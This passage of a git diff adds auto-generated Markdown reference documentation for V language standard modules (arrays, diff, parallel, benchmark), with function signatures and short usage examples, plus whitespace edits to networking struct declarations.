     If you do not need that, just call `.accept()!` instead, which will call `.set_sock()!` for you.
 fn (c &TcpListener) accept_deadline() !time.Time
@@ -319,12 +317,12 @@ fn (mut c TcpListener) close() !
 fn (c &TcpListener) addr() !Addr
 struct UdpConn {
 pub mut:
-	sock UdpSocket
+ sock UdpSocket
 mut:
-	write_deadline time.Time
+ write_deadline time.Time
-	read_deadline  time.Time
+ read_deadline  time.Time
-	read_timeout   time.Duration
+ read_timeout   time.Duration
-	write_timeout  time.Duration
+ write_timeout  time.Duration
 }
 fn (mut c UdpConn) write_ptr(b &u8, len int) !int
     sock := UdpSocket{ handle: sbase.handle l: local r: resolve_wrapper(raddr) } }
@@ -350,5 +348,5 @@ fn (mut c UdpConn) wait_for_write() !
 fn (c &UdpConn) str() string
 fn (mut c UdpConn) close() !
 struct Unix {
-	path [max_unix_path]char
+ path [max_unix_path]char
 }

aiprompts/v_advanced/time instructions.md

@@ -83,7 +83,7 @@ fn main() {
 }
 ```
 
-```vlang
+```v
 
 module time
 

aiprompts/v_core/array/arrays.md

@@ -0,0 +1,785 @@
+# module arrays
+
+
+## Contents
+- [append](#append)
+- [binary_search](#binary_search)
+- [carray_to_varray](#carray_to_varray)
+- [chunk](#chunk)
+- [chunk_while](#chunk_while)
+- [concat](#concat)
+- [copy](#copy)
+- [distinct](#distinct)
+- [each](#each)
+- [each_indexed](#each_indexed)
+- [filter_indexed](#filter_indexed)
+- [find_first](#find_first)
+- [find_last](#find_last)
+- [flat_map](#flat_map)
+- [flat_map_indexed](#flat_map_indexed)
+- [flatten](#flatten)
+- [fold](#fold)
+- [fold_indexed](#fold_indexed)
+- [group](#group)
+- [group_by](#group_by)
+- [idx_max](#idx_max)
+- [idx_min](#idx_min)
+- [index_of_first](#index_of_first)
+- [index_of_last](#index_of_last)
+- [join_to_string](#join_to_string)
+- [lower_bound](#lower_bound)
+- [map_indexed](#map_indexed)
+- [map_of_counts](#map_of_counts)
+- [map_of_indexes](#map_of_indexes)
+- [max](#max)
+- [merge](#merge)
+- [min](#min)
+- [partition](#partition)
+- [reduce](#reduce)
+- [reduce_indexed](#reduce_indexed)
+- [reverse_iterator](#reverse_iterator)
+- [rotate_left](#rotate_left)
+- [rotate_right](#rotate_right)
+- [sum](#sum)
+- [uniq](#uniq)
+- [uniq_all_repeated](#uniq_all_repeated)
+- [uniq_only](#uniq_only)
+- [uniq_only_repeated](#uniq_only_repeated)
+- [upper_bound](#upper_bound)
+- [window](#window)
+- [ReverseIterator[T]](#ReverseIterator[T])
+  - [next](#next)
+  - [free](#free)
+- [ReverseIterator](#ReverseIterator)
+- [WindowAttribute](#WindowAttribute)
+
+## append
+```v
+fn append[T](a []T, b []T) []T
+```
+
+append the second array `b` to the first array `a`, and return the result. Note, that unlike arrays.concat, arrays.append is less flexible, but more efficient, since it does not require you to use ...a for the second parameter.
+
+Example
+```v
+
+arrays.append([1, 3, 5, 7], [2, 4, 6, 8]) // => [1, 3, 5, 7, 2, 4, 6, 8]
+
+```
+
+[[Return to contents]](#Contents)
+
+## binary_search
+```v
+fn binary_search[T](array []T, target T) !int
+```
+
+binary_search, requires `array` to be sorted, returns index of found item or error. Binary searches on sorted lists can be faster than other array searches because at maximum the algorithm only has to traverse log N elements
+
+Example
+```v
+
+arrays.binary_search([1, 2, 3, 4], 4)! // => 3
+
+```
+
+[[Return to contents]](#Contents)
+
+## carray_to_varray
+```v
+fn carray_to_varray[T](c_array_data voidptr, items int) []T
+```
+
+carray_to_varray copies a C byte array into a V array of type `T`. See also: `cstring_to_vstring`
+
+[[Return to contents]](#Contents)
+
+## chunk
+```v
+fn chunk[T](array []T, size int) [][]T
+```
+
+chunk array into a single array of arrays where each element is the next `size` elements of the original.
+
+Example
+```v
+
+arrays.chunk([1, 2, 3, 4, 5, 6, 7, 8, 9], 2) // => [[1, 2], [3, 4], [5, 6], [7, 8], [9]]
+
+```
+
+[[Return to contents]](#Contents)
+
+## chunk_while
+```v
+fn chunk_while[T](a []T, predicate fn (before T, after T) bool) [][]T
+```
+
+chunk_while splits the input array `a` into chunks of varying length, using the `predicate`, passing to it pairs of adjacent elements `before` and `after`. Each chunk, will contain all ajdacent elements, for which the `predicate` returned true. The chunks are split *between* the `before` and `after` elements, for which the `predicate` returned false.
+
+Examples
+```v
+
+assert arrays.chunk_while([0,9,2,2,3,2,7,5,9,5],fn(x int,y int)bool{return x<=y})==[[0,9],[2,2,3],[2,7],[5,9],[5]]
+
+assert arrays.chunk_while('aaaabbbcca'.runes(),fn(x rune,y rune)bool{return x==y})==[[`a`,`a`,`a`,`a`],[`b`,`b`,`b`],[`c`,`c`],[`a`]]
+
+assert arrays.chunk_while('aaaabbbcca'.runes(),fn(x rune,y rune)bool{return x==y}).map({it[0]:it.len})==[{`a`:4},{`b`:3},{`c`:2},{`a`:1}]
+
+```
+
+[[Return to contents]](#Contents)
+
+## concat
+```v
+fn concat[T](a []T, b ...T) []T
+```
+
+concatenate an array with an arbitrary number of additional values.
+
+Note: if you have two arrays, you should simply use the `<<` operator directly.
+
+Examples
+```v
+
+assert arrays.concat([1, 2, 3], 4, 5, 6) == [1, 2, 3, 4, 5, 6]
+
+assert arrays.concat([1, 2, 3], ...[4, 5, 6]) == [1, 2, 3, 4, 5, 6]
+
+mut arr := arrays.concat([1, 2, 3], 4); arr << [10,20]; assert arr == [1,2,3,4,10,20] // note: arr is mutable
+
+```
+
+[[Return to contents]](#Contents)
+
+## copy
+```v
+fn copy[T](mut dst []T, src []T) int
+```
+
+copy copies the `src` array elements to the `dst` array. The number of the elements copied is the minimum of the length of both arrays. Returns the number of elements copied.
+
+[[Return to contents]](#Contents)
+
+## distinct
+```v
+fn distinct[T](a []T) []T
+```
+
+distinct returns all distinct elements from the given array a. The results are guaranteed to be unique, i.e. not have duplicates. See also arrays.uniq, which can be used to achieve the same goal, but needs you to first sort the array.
+
+Example
+```v
+
+assert arrays.distinct( [5, 5, 1, 5, 2, 1, 1, 9] ) == [1, 2, 5, 9]
+
+```
+
+[[Return to contents]](#Contents)
+
+## each
+```v
+fn each[T](a []T, cb fn (elem T))
+```
+
+each calls the callback fn `cb`, for each element of the given array `a`.
+
+[[Return to contents]](#Contents)
+
+## each_indexed
+```v
+fn each_indexed[T](a []T, cb fn (i int, e T))
+```
+
+each_indexed calls the callback fn `cb`, for each element of the given array `a`. It passes the callback both the index of the current element, and the element itself.
+
+[[Return to contents]](#Contents)
+
+## filter_indexed
+```v
+fn filter_indexed[T](array []T, predicate fn (idx int, elem T) bool) []T
+```
+
+filter_indexed filters elements based on `predicate` function being invoked on each element with its index in the original array.
+
+[[Return to contents]](#Contents)
+
+## find_first
+```v
+fn find_first[T](array []T, predicate fn (elem T) bool) ?T
+```
+
+find_first returns the first element that matches the given predicate. Returns `none` if no match is found.
+
+Example
+```v
+
+arrays.find_first([1, 2, 3, 4, 5], fn (i int) bool { return i == 3 })? // => 3
+
+```
+
+[[Return to contents]](#Contents)
+
+## find_last
+```v
+fn find_last[T](array []T, predicate fn (elem T) bool) ?T
+```
+
+find_last returns the last element that matches the given predicate. Returns `none` if no match is found.
+
+Example
+```v
+
+arrays.find_last([1, 2, 3, 4, 5], fn (i int) bool { return i == 3})? // => 3
+
+```
+
+[[Return to contents]](#Contents)
+
+## flat_map
+```v
+fn flat_map[T, R](array []T, transform fn (elem T) []R) []R
+```
+
+flat_map creates a new array populated with the flattened result of calling transform function being invoked on each element of `list`.
+
+[[Return to contents]](#Contents)
+
+## flat_map_indexed
+```v
+fn flat_map_indexed[T, R](array []T, transform fn (idx int, elem T) []R) []R
+```
+
+flat_map_indexed creates a new array with the flattened result of calling the `transform` fn, invoked on each idx,elem pair from the original.
+
+[[Return to contents]](#Contents)
+
+## flatten
+```v
+fn flatten[T](array [][]T) []T
+```
+
+flatten flattens n + 1 dimensional array into n dimensional array.
+
+Example
+```v
+
+arrays.flatten[int]([[1, 2, 3], [4, 5]]) // => [1, 2, 3, 4, 5]
+
+```
+
+[[Return to contents]](#Contents)
+
+## fold
+```v
+fn fold[T, R](array []T, init R, fold_op fn (acc R, elem T) R) R
+```
+
+fold sets `acc = init`, then successively calls `acc = fold_op(acc, elem)` for each element in `array`. returns `acc`.
+
+Example
+```v
+
+// Sum the length of each string in an array
+a := ['Hi', 'all']
+r := arrays.fold[string, int](a, 0,
+	fn (r int, t string) int { return r + t.len })
+assert r == 5
+
+```
+
+[[Return to contents]](#Contents)
+
+## fold_indexed
+```v
+fn fold_indexed[T, R](array []T, init R, fold_op fn (idx int, acc R, elem T) R) R
+```
+
+fold_indexed sets `acc = init`, then successively calls `acc = fold_op(idx, acc, elem)` for each element in `array`. returns `acc`.
+
+[[Return to contents]](#Contents)
+
+## group
+```v
+fn group[T](arrs ...[]T) [][]T
+```
+
+group n arrays into a single array of arrays with n elements. This function is analogous to the "zip" function of other languages. To fully interleave two arrays, follow this function with a call to `flatten`.
+
+Note: An error will be generated if the type annotation is omitted.
+
+Example
+```v
+
+arrays.group[int]([1, 2, 3], [4, 5, 6]) // => [[1, 4], [2, 5], [3, 6]]
+
+```
+
+[[Return to contents]](#Contents)
+
+## group_by
+```v
+fn group_by[K, V](array []V, grouping_op fn (val V) K) map[K][]V
+```
+
+group_by groups together elements, for which the `grouping_op` callback produced the same result.
+
+Example
+```v
+
+arrays.group_by[int, string](['H', 'el', 'lo'], fn (v string) int { return v.len }) // => {1: ['H'], 2: ['el', 'lo']}
+
+```
+
+[[Return to contents]](#Contents)
+
+## idx_max
+```v
+fn idx_max[T](array []T) !int
+```
+
+idx_max returns the index of the maximum value in the array.
+
+Example
+```v
+
+arrays.idx_max([1, 2, 3, 0, 9])! // => 4
+
+```
+
+[[Return to contents]](#Contents)
+
+## idx_min
+```v
+fn idx_min[T](array []T) !int
+```
+
+idx_min returns the index of the minimum value in the array.
+
+Example
+```v
+
+arrays.idx_min([1, 2, 3, 0, 9])! // => 3
+
+```
+
+[[Return to contents]](#Contents)
+
+## index_of_first
+```v
+fn index_of_first[T](array []T, predicate fn (idx int, elem T) bool) int
+```
+
+index_of_first returns the index of the first element of `array`, for which the predicate fn returns true. If predicate does not return true for any of the elements, then index_of_first will return -1.
+
+Example
+```v
+
+assert arrays.index_of_first([4,5,0,7,0,9], fn(idx int, x int) bool { return x == 0 }) == 2
+
+```
+
+[[Return to contents]](#Contents)
+
+## index_of_last
+```v
+fn index_of_last[T](array []T, predicate fn (idx int, elem T) bool) int
+```
+
+index_of_last returns the index of the last element of `array`, for which the predicate fn returns true. If predicate does not return true for any of the elements, then index_of_last will return -1.
+
+Example
+```v
+
+assert arrays.index_of_last([4,5,0,7,0,9], fn(idx int, x int) bool { return x == 0 }) == 4
+
+```
+
+[[Return to contents]](#Contents)
+
+## join_to_string
+```v
+fn join_to_string[T](array []T, separator string, transform fn (elem T) string) string
+```
+
+join_to_string takes in a custom transform function and joins all elements into a string with the specified separator
+
+[[Return to contents]](#Contents)
+
+## lower_bound
+```v
+fn lower_bound[T](array []T, val T) !T
+```
+
+returns the smallest element >= val, requires `array` to be sorted.
+
+Example
+```v
+
+arrays.lower_bound([2, 4, 6, 8], 3)! // => 4
+
+```
+
+[[Return to contents]](#Contents)
+
+## map_indexed
+```v
+fn map_indexed[T, R](array []T, transform fn (idx int, elem T) R) []R
+```
+
+map_indexed creates a new array with the result of calling the `transform` fn, invoked on each idx,elem pair from the original.
+
+[[Return to contents]](#Contents)
+
+## map_of_counts
+```v
+fn map_of_counts[T](array []T) map[T]int
+```
+
+map_of_counts returns a map, where each key is an unique value in `array`. Each value in that map for that key, is how many times that value occurs in `array`. It can be useful for building histograms of discrete measurements.
+
+Example
+```v
+
+assert arrays.map_of_counts([1,2,3,4,4,2,1,4,4]) == {1: 2, 2: 2, 3: 1, 4: 4}
+
+```
+
+[[Return to contents]](#Contents)
+
+## map_of_indexes
+```v
+fn map_of_indexes[T](array []T) map[T][]int
+```
+
+map_of_indexes returns a map, where each key is an unique value in `array`. Each value in that map for that key, is an array, containing the indexes in `array`, where that value has been found.
+
+Example
+```v
+
+assert arrays.map_of_indexes([1,2,3,4,4,2,1,4,4,999]) == {1: [0, 6], 2: [1, 5], 3: [2], 4: [3, 4, 7, 8], 999: [9]}
+
+```
+
+[[Return to contents]](#Contents)
+
+## max
+```v
+fn max[T](array []T) !T
+```
+
+max returns the maximum value in the array.
+
+Example
+```v
+
+arrays.max([1, 2, 3, 0, 9])! // => 9
+
+```
+
+[[Return to contents]](#Contents)
+
+## merge
+```v
+fn merge[T](a []T, b []T) []T
+```
+
+merge two sorted arrays (ascending) and maintain sorted order.
+
+Example
+```v
+
+arrays.merge([1, 3, 5, 7], [2, 4, 6, 8]) // => [1, 2, 3, 4, 5, 6, 7, 8]
+
+```
+
+[[Return to contents]](#Contents)
+
+## min
+```v
+fn min[T](array []T) !T
+```
+
+min returns the minimum value in the array.
+
+Example
+```v
+
+arrays.min([1, 2, 3, 0, 9])! // => 0
+
+```
+
+[[Return to contents]](#Contents)
+
+## partition
+```v
+fn partition[T](array []T, predicate fn (elem T) bool) ([]T, []T)
+```
+
+partition splits the original array into pair of lists. The first list contains elements for which the predicate fn returned true, while the second list contains elements for which the predicate fn returned false.
+
+[[Return to contents]](#Contents)
+
+## reduce
+```v
+fn reduce[T](array []T, reduce_op fn (acc T, elem T) T) !T
+```
+
+reduce sets `acc = array[0]`, then successively calls `acc = reduce_op(acc, elem)` for each remaining element in `array`. returns the accumulated value in `acc`. returns an error if the array is empty. See also: [fold](#fold).
+
+Example
+```v
+
+arrays.reduce([1, 2, 3, 4, 5], fn (t1 int, t2 int) int { return t1 * t2 })! // => 120
+
+```
+
+[[Return to contents]](#Contents)
+
+## reduce_indexed
+```v
+fn reduce_indexed[T](array []T, reduce_op fn (idx int, acc T, elem T) T) !T
+```
+
+reduce_indexed sets `acc = array[0]`, then successively calls `acc = reduce_op(idx, acc, elem)` for each remaining element in `array`. returns the accumulated value in `acc`. returns an error if the array is empty. See also: [fold_indexed](#fold_indexed).
+
+[[Return to contents]](#Contents)
+
+## reverse_iterator
+```v
+fn reverse_iterator[T](a []T) ReverseIterator[T]
+```
+
+reverse_iterator can be used to iterate over the elements in an array. i.e. you can use this syntax: `for elem in arrays.reverse_iterator(a) {` .
+
+[[Return to contents]](#Contents)
+
+## rotate_left
+```v
+fn rotate_left[T](mut array []T, mid int)
+```
+
+rotate_left rotates the array in-place. It does it in such a way, that the first `mid` elements of the array, move to the end, while the last `array.len - mid` elements move to the front. After calling `rotate_left`, the element previously at index `mid` will become the first element in the array.
+
+Example
+```v
+
+mut x := [1,2,3,4,5,6]
+arrays.rotate_left(mut x, 2)
+println(x) // [3, 4, 5, 6, 1, 2]
+
+```
+
+[[Return to contents]](#Contents)
+
+## rotate_right
+```v
+fn rotate_right[T](mut array []T, k int)
+```
+
+rotate_right rotates the array in-place. It does it in such a way, that the first `array.len - k` elements of the array, move to the end, while the last `k` elements move to the front. After calling `rotate_right`, the element previously at index `array.len - k` will become the first element in the array.
+
+Example
+```v
+
+mut x := [1,2,3,4,5,6]
+arrays.rotate_right(mut x, 2)
+println(x) // [5, 6, 1, 2, 3, 4]
+
+```
+
+[[Return to contents]](#Contents)
+
+## sum
+```v
+fn sum[T](array []T) !T
+```
+
+sum up array, return an error, when the array has no elements.
+
+Example
+```v
+
+arrays.sum([1, 2, 3, 4, 5])! // => 15
+
+```
+
+[[Return to contents]](#Contents)
+
+## uniq
+```v
+fn uniq[T](a []T) []T
+```
+
+uniq filters the adjacent matching elements from the given array. All adjacent matching elements, are merged to their first occurrence, so the output will have no repeating elements.
+
+Note: `uniq` does not detect repeats, unless they are adjacent. You may want to call a.sorted() on your array, before passing the result to arrays.uniq(). See also arrays.distinct, which is essentially arrays.uniq(a.sorted()) .
+
+Examples
+```v
+
+assert arrays.uniq( []int{} ) == []
+
+assert arrays.uniq( [1, 1] ) == [1]
+
+assert arrays.uniq( [2, 1] ) == [2, 1]
+
+assert arrays.uniq( [5, 5, 1, 5, 2, 1, 1, 9] ) == [5, 1, 5, 2, 1, 9]
+
+```
+
+[[Return to contents]](#Contents)
+
+## uniq_all_repeated
+```v
+fn uniq_all_repeated[T](a []T) []T
+```
+
+uniq_all_repeated produces all adjacent matching elements from the given array. Unique elements, with no duplicates are removed. The output will contain all the duplicated elements, repeated just like they were in the original.
+
+Note: `uniq_all_repeated` does not detect repeats, unless they are adjacent. You may want to call a.sorted() on your array, before passing the result to arrays.uniq_all_repeated().
+
+Examples
+```v
+
+assert arrays.uniq_all_repeated( []int{} ) == []
+
+assert arrays.uniq_all_repeated( [1, 5] ) == []
+
+assert arrays.uniq_all_repeated( [5, 5] ) == [5,5]
+
+assert arrays.uniq_all_repeated( [5, 5, 1, 5, 2, 1, 1, 9] ) == [5, 5, 1, 1]
+
+```
+
+[[Return to contents]](#Contents)
+
+## uniq_only
+```v
+fn uniq_only[T](a []T) []T
+```
+
+uniq_only filters the adjacent matching elements from the given array. All adjacent matching elements, are removed. The output will contain only the elements that *did not have* any adjacent matches.
+
+Note: `uniq_only` does not detect repeats, unless they are adjacent. You may want to call a.sorted() on your array, before passing the result to arrays.uniq_only().
+
+Examples
+```v
+
+assert arrays.uniq_only( []int{} ) == []
+
+assert arrays.uniq_only( [1, 1] ) == []
+
+assert arrays.uniq_only( [2, 1] ) == [2, 1]
+
+assert arrays.uniq_only( [1, 5, 5, 1, 5, 2, 1, 1, 9] ) == [1, 1, 5, 2, 9]
+
+```
+
+[[Return to contents]](#Contents)
+
+## uniq_only_repeated
+```v
+fn uniq_only_repeated[T](a []T) []T
+```
+
+uniq_only_repeated produces the adjacent matching elements from the given array. Unique elements, with no duplicates are removed. Adjacent matching elements, are reduced to just 1 element per repeat group.
+
+Note: `uniq_only_repeated` does not detect repeats, unless they are adjacent. You may want to call a.sorted() on your array, before passing the result to arrays.uniq_only_repeated().
+
+Examples
+```v
+
+assert arrays.uniq_only_repeated( []int{} ) == []
+
+assert arrays.uniq_only_repeated( [1, 5] ) == []
+
+assert arrays.uniq_only_repeated( [5, 5] ) == [5]
+
+assert arrays.uniq_only_repeated( [5, 5, 1, 5, 2, 1, 1, 9] ) == [5, 1]
+
+```
+
+[[Return to contents]](#Contents)
+
+## upper_bound
+```v
+fn upper_bound[T](array []T, val T) !T
+```
+
+returns the largest element <= val, requires `array` to be sorted.
+
+Example
+```v
+
+arrays.upper_bound([2, 4, 6, 8], 3)! // => 2
+
+```
+
+[[Return to contents]](#Contents)
+
+## window
+```v
+fn window[T](array []T, attr WindowAttribute) [][]T
+```
+
+get snapshots of the window of the given size sliding along array with the given step, where each snapshot is an array.- `size` - snapshot size
+- `step` - gap size between each snapshot, default is 1.
+
+
+
+Examples
+```v
+
+arrays.window([1, 2, 3, 4], size: 2) // => [[1, 2], [2, 3], [3, 4]]
+
+arrays.window([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], size: 3, step: 2) // => [[1, 2, 3], [3, 4, 5], [5, 6, 7], [7, 8, 9]]
+
+```
+
+[[Return to contents]](#Contents)
+
+## ReverseIterator[T]
+## next
+```v
+fn (mut iter ReverseIterator[T]) next() ?&T
+```
+
+next is the required method, to implement an iterator in V. It returns none when the iteration should stop. Otherwise it returns the current element of the array.
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (iter &ReverseIterator[T]) free()
+```
+
+free frees the iterator resources.
+
+[[Return to contents]](#Contents)
+
+## ReverseIterator
+```v
+struct ReverseIterator[T] {
+mut:
+	a []T
+	i int
+}
+```
+
+ReverseIterator provides a convenient way to iterate in reverse over all elements of an array without allocations. I.e. it allows you to use this syntax: `for elem in arrays.reverse_iterator(a) {` .
+
+[[Return to contents]](#Contents)
+
+## WindowAttribute
+```v
+struct WindowAttribute {
+pub:
+	size int
+	step int = 1
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:06

aiprompts/v_core/array/diff.md

@@ -0,0 +1,76 @@
+# module diff
+
+
+## Contents
+- [diff](#diff)
+- [DiffContext[T]](#DiffContext[T])
+  - [generate_patch](#generate_patch)
+- [DiffChange](#DiffChange)
+- [DiffContext](#DiffContext)
+- [DiffGenStrParam](#DiffGenStrParam)
+
+## diff
+```v
+fn diff[T](a []T, b []T) &DiffContext[T]
+```
+
+diff returns the difference of two arrays.
+
+[[Return to contents]](#Contents)
+
+## DiffContext[T]
+## generate_patch
+```v
+fn (mut c DiffContext[T]) generate_patch(param DiffGenStrParam) string
+```
+
+generate_patch generate a diff string of two arrays.
+
+[[Return to contents]](#Contents)
+
+## DiffChange
+```v
+struct DiffChange {
+pub mut:
+	a   int // position in input a []T
+	b   int // position in input b []T
+	del int // delete Del elements from input a
+	ins int // insert Ins elements from input b
+}
+```
+
+DiffChange contains one or more deletions or inserts at one position in two arrays.
+
+[[Return to contents]](#Contents)
+
+## DiffContext
+```v
+struct DiffContext[T] {
+mut:
+	a     []T
+	b     []T
+	flags []DiffContextFlag
+	max   int
+	// forward and reverse d-path endpoint x components
+	forward []int
+	reverse []int
+pub mut:
+	changes []DiffChange
+}
+```
+
+[[Return to contents]](#Contents)
+
+## DiffGenStrParam
+```v
+struct DiffGenStrParam {
+pub mut:
+	colorful     bool
+	unified      int = 3 // how many context lines before/after diff block
+	block_header bool // output `@@ -3,4 +3,5 @@` or not
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:06

aiprompts/v_core/array/parallel.md

@@ -0,0 +1,53 @@
+# module parallel
+
+
+## Contents
+- [amap](#amap)
+- [run](#run)
+- [Params](#Params)
+
+## amap
+```v
+fn amap[T, R](input []T, worker fn (T) R, opt Params) []R
+```
+
+amap lets the user run an array of input with a user provided function in parallel. It limits the number of worker threads to max number of cpus. The worker function can return a value. The returning array maintains the input order. Any error handling should have happened within the worker function.
+
+Example
+```v
+
+squares := parallel.amap([1, 2, 3, 4, 5], |i| i * i); assert squares == [1, 4, 9, 16, 25]
+
+```
+
+[[Return to contents]](#Contents)
+
+## run
+```v
+fn run[T](input []T, worker fn (T), opt Params)
+```
+
+run lets the user run an array of input with a user provided function in parallel. It limits the number of worker threads to min(num_workers, num_cpu). The function aborts if an error is encountered.
+
+Example
+```v
+
+parallel.run([1, 2, 3, 4, 5], |i| println(i))
+
+```
+
+[[Return to contents]](#Contents)
+
+## Params
+```v
+struct Params {
+pub mut:
+	workers int // 0 by default, so that VJOBS will be used, through runtime.nr_jobs()
+}
+```
+
+Params contains the optional parameters that can be passed to `run` and `amap`.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:19:06

aiprompts/v_core/benchmark/benchmark.md

@@ -0,0 +1,321 @@
+# module benchmark
+
+
+## Contents
+- [Constants](#Constants)
+- [new_benchmark](#new_benchmark)
+- [new_benchmark_no_cstep](#new_benchmark_no_cstep)
+- [new_benchmark_pointer](#new_benchmark_pointer)
+- [start](#start)
+- [Benchmark](#Benchmark)
+  - [set_total_expected_steps](#set_total_expected_steps)
+  - [stop](#stop)
+  - [step](#step)
+  - [step_restart](#step_restart)
+  - [fail](#fail)
+  - [ok](#ok)
+  - [skip](#skip)
+  - [fail_many](#fail_many)
+  - [ok_many](#ok_many)
+  - [neither_fail_nor_ok](#neither_fail_nor_ok)
+  - [measure](#measure)
+  - [record_measure](#record_measure)
+  - [step_message_with_label_and_duration](#step_message_with_label_and_duration)
+  - [step_message_with_label](#step_message_with_label)
+  - [step_message](#step_message)
+  - [step_message_ok](#step_message_ok)
+  - [step_message_fail](#step_message_fail)
+  - [step_message_skip](#step_message_skip)
+  - [total_message](#total_message)
+  - [all_recorded_measures](#all_recorded_measures)
+  - [total_duration](#total_duration)
+- [MessageOptions](#MessageOptions)
+
+## Constants
+```v
+const b_ok = term.ok_message('OK  ')
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const b_fail = term.fail_message('FAIL')
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const b_skip = term.warn_message('SKIP')
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const b_spent = term.ok_message('SPENT')
+```
+
+[[Return to contents]](#Contents)
+
+## new_benchmark
+```v
+fn new_benchmark() Benchmark
+```
+
+new_benchmark returns a `Benchmark` instance on the stack.
+
+[[Return to contents]](#Contents)
+
+## new_benchmark_no_cstep
+```v
+fn new_benchmark_no_cstep() Benchmark
+```
+
+new_benchmark_no_cstep returns a new `Benchmark` instance with step counting disabled.
+
+[[Return to contents]](#Contents)
+
+## new_benchmark_pointer
+```v
+fn new_benchmark_pointer() &Benchmark
+```
+
+new_benchmark_pointer returns a new `Benchmark` instance allocated on the heap. This is useful for long-lived use of `Benchmark` instances.
+
+[[Return to contents]](#Contents)
+
+## start
+```v
+fn start() Benchmark
+```
+
+start returns a new, running, instance of `Benchmark`. This is a shorthand for calling `new_benchmark().step()`.
+
+[[Return to contents]](#Contents)
+
+## Benchmark
+```v
+struct Benchmark {
+pub mut:
+	bench_timer     time.StopWatch
+	verbose         bool
+	no_cstep        bool
+	step_timer      time.StopWatch
+	ntotal          int
+	nok             int
+	nfail           int
+	nskip           int
+	nexpected_steps int
+	njobs           int
+	cstep           int
+	bok             string
+	bfail           string
+	measured_steps  []string
+	step_data       map[string][]f64
+}
+```
+
+[[Return to contents]](#Contents)
+
+## set_total_expected_steps
+```v
+fn (mut b Benchmark) set_total_expected_steps(n int)
+```
+
+set_total_expected_steps sets the total amount of steps the benchmark is expected to take.
+
+[[Return to contents]](#Contents)
+
+## stop
+```v
+fn (mut b Benchmark) stop()
+```
+
+stop stops the internal benchmark timer.
+
+[[Return to contents]](#Contents)
+
+## step
+```v
+fn (mut b Benchmark) step()
+```
+
+step increases the step count by 1 and restarts the internal timer.
+
+[[Return to contents]](#Contents)
+
+## step_restart
+```v
+fn (mut b Benchmark) step_restart()
+```
+
+step_restart will restart the internal step timer. Note that the step count will *stay the same*. This method is useful, when you want to do some optional preparation after you have called .step(), so that the time for that optional preparation will *not* be added to the duration of the step.
+
+[[Return to contents]](#Contents)
+
+## fail
+```v
+fn (mut b Benchmark) fail()
+```
+
+fail increases the fail count by 1 and stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## ok
+```v
+fn (mut b Benchmark) ok()
+```
+
+ok increases the ok count by 1 and stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## skip
+```v
+fn (mut b Benchmark) skip()
+```
+
+skip increases the skip count by 1 and stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## fail_many
+```v
+fn (mut b Benchmark) fail_many(n int)
+```
+
+fail_many increases the fail count by `n` and stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## ok_many
+```v
+fn (mut b Benchmark) ok_many(n int)
+```
+
+ok_many increases the ok count by `n` and stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## neither_fail_nor_ok
+```v
+fn (mut b Benchmark) neither_fail_nor_ok()
+```
+
+neither_fail_nor_ok stops the internal timer.
+
+[[Return to contents]](#Contents)
+
+## measure
+```v
+fn (mut b Benchmark) measure(label string) i64
+```
+
+measure prints the current time spent doing `label`, since the benchmark was started, or since its last call.
+
+[[Return to contents]](#Contents)
+
+## record_measure
+```v
+fn (mut b Benchmark) record_measure(label string) i64
+```
+
+record_measure stores the current time doing `label`, since the benchmark was started, or since the last call to `b.record_measure`. It is similar to `b.measure`, but unlike it, will not print the measurement immediately, just record it for later. You can call `b.all_recorded_measures` to retrieve all measures stored by `b.record_measure` calls.
+
+[[Return to contents]](#Contents)
+
+## step_message_with_label_and_duration
+```v
+fn (b &Benchmark) step_message_with_label_and_duration(label string, msg string, sduration time.Duration,
+	opts MessageOptions) string
+```
+
+step_message_with_label_and_duration returns a string describing the current step.
+
+[[Return to contents]](#Contents)
+
+## step_message_with_label
+```v
+fn (b &Benchmark) step_message_with_label(label string, msg string, opts MessageOptions) string
+```
+
+step_message_with_label returns a string describing the current step using current time as duration.
+
+[[Return to contents]](#Contents)
+
+## step_message
+```v
+fn (b &Benchmark) step_message(msg string, opts MessageOptions) string
+```
+
+step_message returns a string describing the current step.
+
+[[Return to contents]](#Contents)
+
+## step_message_ok
+```v
+fn (b &Benchmark) step_message_ok(msg string, opts MessageOptions) string
+```
+
+step_message_ok returns a string describing the current step with an standard "OK" label.
+
+[[Return to contents]](#Contents)
+
+## step_message_fail
+```v
+fn (b &Benchmark) step_message_fail(msg string, opts MessageOptions) string
+```
+
+step_message_fail returns a string describing the current step with an standard "FAIL" label.
+
+[[Return to contents]](#Contents)
+
+## step_message_skip
+```v
+fn (b &Benchmark) step_message_skip(msg string, opts MessageOptions) string
+```
+
+step_message_skip returns a string describing the current step with an standard "SKIP" label.
+
+[[Return to contents]](#Contents)
+
+## total_message
+```v
+fn (b &Benchmark) total_message(msg string) string
+```
+
+total_message returns a string with total summary of the benchmark run.
+
+[[Return to contents]](#Contents)
+
+## all_recorded_measures
+```v
+fn (b &Benchmark) all_recorded_measures() string
+```
+
+all_recorded_measures returns a string, that contains all the recorded measure messages, done by individual calls to `b.record_measure`.
+
+[[Return to contents]](#Contents)
+
+## total_duration
+```v
+fn (b &Benchmark) total_duration() i64
+```
+
+total_duration returns the duration in ms.
+
+[[Return to contents]](#Contents)
+
+## MessageOptions
+```v
+struct MessageOptions {
+pub:
+	preparation time.Duration // the duration of the preparation time for the step
+}
+```
+
+MessageOptions allows passing an optional preparation time too to each label method. If it is set, the preparation time (compile time) will be shown before the measured runtime.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:21:08

aiprompts/v_core/builtin/builtin.linux_bare.old..checks.forkedtest.md

@@ -0,0 +1,22 @@
+# module builtin.linux_bare.old..checks.forkedtest
+
+
+## Contents
